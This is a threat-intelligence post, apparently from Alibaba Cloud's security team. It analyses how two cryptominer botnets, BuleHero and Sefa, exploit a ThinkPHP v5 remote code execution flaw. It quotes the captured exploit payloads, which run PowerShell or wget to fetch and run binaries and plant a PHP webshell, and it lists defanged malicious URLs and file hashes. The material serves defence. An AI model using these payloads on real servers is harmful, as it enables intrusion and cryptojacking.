Threat Alert: Multiple Cryptocurrency Miner Botnets Start to Exploit the New ThinkPHP Vulnerability

By SangYi,

In security, a vulnerability constitutes the ‘attack surface’- a weakness which can be, at some point, exploited by an attacker. Recently, Alibaba Cloud security team has reported a new, high-risk vulnerability in ThinkPhP framework (

Today the team reports on new attacks that already use this vulnerability: two botnets, BuleHero and Sefa, took notice of the new ‘attack surface’, and exploited it to compromise hosts and use them for various cybercrime purposes. We’re no longer dealing now with theories or potential exploitations, but with actual attacks. The ThinkPHP vulnerability is too common to ignore, and it is highly recommended to take immediate action to block it.

Yohai Einav

Principal Security Researcher, SIL


On December 10, ThinkPHP team released a patch to fix a remote code execution vulnerability caused by the ThinkPHP framework’s insufficient checks on controllers. Attackers can exploit this vulnerability to forge malicious parameters and execute malicious code. Alibaba Cloud security team published a threat alert regarding this vulnerability early on December 11, announcing that it had detected the first attack case of this vulnerability exploit, and reminded users to fix this vulnerability and prevent further attacks as soon as possible.

Recently, Alibaba Cloud security researchers detected that several cryptocurrency miner botnets have begun to exploit this new ThinkPHP vulnerability to propagate themselves. The researchers have successfully captured the traffic of these botnets, and this document provides an analysis of their activities.

Analysis highlights:

Both botnets propagate using worms.

  1. BuleHero, one of the two botnets, propagates through internal networks.

This new vulnerability in ThinkPHP v5 is very critical and could cause significant damage. Alibaba Cloud’s Security researchers predict that more botnet are going to exploit this vulnerability to propagate. We strongly suggest users be on the alert and use the solutions described at the end of this article to prevent attacks.

Detailed Analysis of Bule Hero

Bulehero, named after the domain name, is a botnet which exploits multiple security vulnerabilities and controls Windows servers to mine cryptocurrency.

Alibaba Cloud security team found that Bulehero had begun to use ThinkPHP remote commands to launch vulnerability attacks and propagate since December 19.

Vulnerability Exploitation

The ThinkPHP vulnerability is exploited to download and run a malicious binary file. This file initiates further downloads and releases multiple executable files, including cryptocurrency miner, which is used to mine Monero coins. Additional vulnerability exploitation modules are used to further propagate the botnet’s worm.

Vulnerability exploitation method #1:

This method directly runs PowerShell code to launch attacks against payload:

s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd.exe /c powershell (new-object System.Net.WebClient). DownloadFile('','C:/15.exe');start C:/15.exe

Vulnerability exploitation method #2:

This method exploits the vulnerability to upload a webshell named hydra.php, which can run backdoor commands and then execute PowerShell code to launch attacks against payload1:

s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<? php $action = $_GET['xcmd'];system($action);? ^>>hydra.php

Launch attacks against payload2:

/hydra.php? xcmd=cmd.exe /c powershell (new-object System.Net.WebClient). DownloadFile('','C:/10.exe');start C:/10.exe

Threat to Internal Networks

BuleHero exploits many vulnerabilities to spread itself in internal networks, posing critical security threats to enterprises’ internal networks. BuleHero obtains a local IP address, visits to obtain the public IP address and generates the IP segment of a scanned IP under C:WindowsInfusedAppePriessip.txt.

The IP segment contains segment B of the local network, segment B of the corresponding public network and the randomly generated public network address. BuleHero first uses the EternalBlue exploit ( ) and “ipc$” to launch brute-force attacks against port 445 and port 139 before exploiting the Web framework vulnerabilities to implement intrusion.

Image for post
Image for post

Figure 1: Generate scanned addresses

Image for post
Image for post

Figure 2: Scan the internal network addresses

Image for post
Image for post

Figure 3: Exploit the ThinkPHP v5 vulnerability

BuleHero Cyberattack Trend

Alibaba Cloud’s security team found that BuleHero began to use a new attack method to exploit this vulnerability in ThinkPHP v5 on December 19. Since that day, BuleHero network attacks have increased significantly, which indicates that the propagation pace is very fast:

Image for post
Image for post

Additional vulnerability exploitation methods used by BuleHero include:

  1. Tomcat PUT arbitrary file upload vulnerability (CVE-2017–12615)
  • /FxCodeShell.jsp? wiew=FxxkMyLie1836710Aa&os=1&address=
  1. Struts2 remote code execution vulnerability (CVE-2017–5638)
Image for post
Image for post

Detailed Analysis of Sefa

On December 25, Alibaba Cloud detected that the Sefa botnet, a variant of the notorious Mirai IoT botnet, started to exploit the vulnerability in ThinkPHP v5 to widely propagate. Like BuleHero, Sefa focuses on setting up IoT networks to mine Monero coins. The captured Sefa sample began to exploit the vulnerability in ThinkPHP v5 to control Linux servers beyond IoT devices to mine cryptocurrency.

Vulnerability Exploitation

The ThinkPHP vulnerability is exploited to download and execute a shell file, which downloads the coin-mining software Mcoin, and the attack module sefa.x86 which scans randomly generated IP addresses that will be used to spread worms.

Attack and exploit payload:

s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=cd /tmp;wget;chmod 777;sh

Shell file:

Image for post
Image for post

Attack module de-compilation (XOR key: 0x04)

Launch attacks against payload:

Image for post
Image for post

Security Recommendations

  1. Alibaba Cloud security team advises all users who use ThinkPHP v5 to upgrade the framework to the latest version, as soon as possible (v5.0.23 and v5.1.31 are secure).


Malicious Links


hxxp://205[.] 185[.] 113[.]123/

hxxp://205[.] 185[.] 113[.]123/mcoin
hxxp://205[.] 185[.] 113[.]123/bins/sefa.x86
hxxp://205[.] 185[.] 113[.]123/bins/sefa.arm7
hxxp://205[.] 185[.] 113[.]123/bins/sefa.arm
hxxp://205[.] 185[.] 113[.]123/bins/sefa.arm5
hxxp://205[.] 185[.] 113[.]123/bins/sefa.arm6
hxxp://205[.] 185[.] 113[.]123/bins/sefa.m68k
hxxp://205[.] 185[.] 113[.]123/bins/sefa.mips
hxxp://205[.] 185[.] 113[.]123/bins/sefa.mpsl
hxxp://205[.] 185[.] 113[.]123/bins/sefa.ppc

Malicious Files

File nameMd5FxCodeShell.jsp1111888150d9451d1eccf5aedf5ff0d3download.exe676d5e4d5c77f51018ef4f8890c740aemscteui.exe316d4f669c03abe0e361448c18ed90f8sefa.x8630548246f6713d4cb07be2e81b4b5886sefa.arm7a9b3a9c0b9aa042f993581088a3b6690sefa.arm9e6da964bec2eebcf31c9b9b08e81797sefa.arm63b604f41cd5c381aff0ffad84ba222ebsefa.m68kd5fca289da58ea593779d5f6441c752esefa.mips84fd49036cc67ad8685392f2bcaecefbsefa.mpslf9ec1e53466db70714c7aa0b050290bfsefa.ppce202421b6610dbbe440355b8bb8d30cc


Written by

Follow me to keep abreast with the latest technology news, industry insights, and developer trends.

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store